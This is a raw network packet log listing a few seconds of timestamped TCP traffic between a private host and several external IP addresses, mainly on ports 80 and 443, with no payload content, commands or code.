Nov 20, 2024 00:19:33.050740004 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050751925 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050751925 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050779104 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050786018 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050800085 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050815105 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050831079 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050844908 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050860882 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050870895 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050870895 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050885916 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.050910950 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050910950 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.050956011 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.051561117 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.051654100 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.051743031 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.051799059 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.054491043 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.054653883 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.054769993 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.054824114 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.054864883 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.054891109 CET	62149	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.054905891 CET	443	62149	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.058813095 CET	62157	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.058840036 CET	443	62157	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.058913946 CET	62157	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.059269905 CET	62157	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:33.059288979 CET	443	62157	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:33.182092905 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182164907 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182168961 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182205915 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182245970 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182259083 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182264090 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182295084 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182329893 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182336092 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182336092 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182364941 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182399035 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182421923 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182451963 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182468891 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182498932 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182532072 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182566881 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182568073 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182581902 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182581902 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182609081 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182624102 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182658911 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182692051 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182707071 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182707071 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182732105 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182733059 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182768106 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182816029 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182825089 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182857037 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.182929039 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.182929039 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183012009 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183065891 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183099985 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183123112 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183152914 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183155060 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183222055 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183270931 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183275938 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183337927 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183352947 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183384895 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183419943 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183428049 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183428049 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183453083 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183470011 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183487892 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183521032 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183532953 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183532953 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183554888 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183588982 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183588982 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183614969 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183624029 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183650970 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183660030 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183693886 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183700085 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183700085 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183736086 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183769941 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183803082 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183823109 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183840036 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183851957 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.183870077 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.183975935 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184025049 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184057951 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184092045 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184097052 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184115887 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184139967 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184143066 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184181929 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184195042 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184216976 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184216976 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184228897 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184243917 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184273958 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184294939 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184317112 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184334040 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184386969 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184391022 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184422016 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184441090 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184457064 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184489012 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184489965 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184516907 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184525967 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184550047 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184571981 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184581995 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184608936 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184637070 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184643030 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184654951 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184680939 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.184701920 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.184720993 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189426899 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189462900 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189497948 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189526081 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189526081 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189533949 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189549923 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189568996 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189614058 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189625978 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189687014 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189722061 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189743042 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189754963 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189790964 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189796925 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189827919 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189850092 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189861059 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189886093 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189896107 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189930916 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189946890 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.189963102 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.189997911 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190015078 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190015078 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190037012 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190067053 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190089941 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190146923 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190188885 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190222025 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190258026 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190280914 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190293074 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190315008 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190326929 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190345049 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190361023 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190401077 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190412045 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190412045 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190434933 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190455914 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190471888 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.190495968 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.190538883 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.192723036 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.193063974 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.193073988 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.193418026 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.193789959 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.193847895 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.193969965 CET	62150	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:33.235327959 CET	443	62150	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:33.275717974 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275774956 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275810003 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275842905 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275882959 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.275912046 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275926113 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.275947094 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.275994062 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276004076 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276034117 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276045084 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276079893 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276113987 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276122093 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276122093 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276148081 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276166916 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276181936 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276217937 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276226044 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276226044 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.276269913 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.276321888 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315100908 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315208912 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315246105 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315327883 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315334082 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315380096 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315387011 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315413952 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315440893 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315448999 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315471888 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315500975 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315536022 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315551996 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315551996 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315568924 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315608025 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315630913 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315680027 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315745115 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315783978 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315831900 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315840006 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315867901 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315907001 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315915108 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315920115 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315968037 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.315973997 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.315973997 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316004038 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316054106 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316086054 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316087008 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316103935 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316143990 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316190004 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316191912 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316243887 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316276073 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316291094 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316291094 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316308975 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316337109 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316342115 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316355944 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316392899 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316416979 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316426992 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316461086 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316482067 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316493988 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316514015 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316529989 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316544056 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316579103 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316613913 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316615105 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316647053 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316658020 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316658020 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316683054 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316726923 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316726923 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316736937 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316771030 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316813946 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316813946 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316817999 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316881895 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316881895 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316917896 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316952944 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316984892 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.316986084 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.316986084 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317020893 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317054033 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317060947 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317061901 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317089081 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317116976 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317121983 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317148924 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317173004 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317174911 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317209959 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317220926 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317260981 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317271948 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317285061 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317297935 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317332029 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317332029 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317344904 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317348957 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317384958 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317423105 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317423105 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317449093 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317483902 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317501068 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317507982 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317534924 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317537069 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317570925 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317579985 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317605019 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317640066 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317646980 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317646980 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317675114 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317720890 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317723036 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317755938 CET	80	62143	185.215.113.16	192.168.2.5
Nov 20, 2024 00:19:33.317778111 CET	62143	80	192.168.2.5	185.215.113.16
Nov 20, 2024 00:19:33.317800045 CET	62143	80	192.168.2.5	185.215.113.16
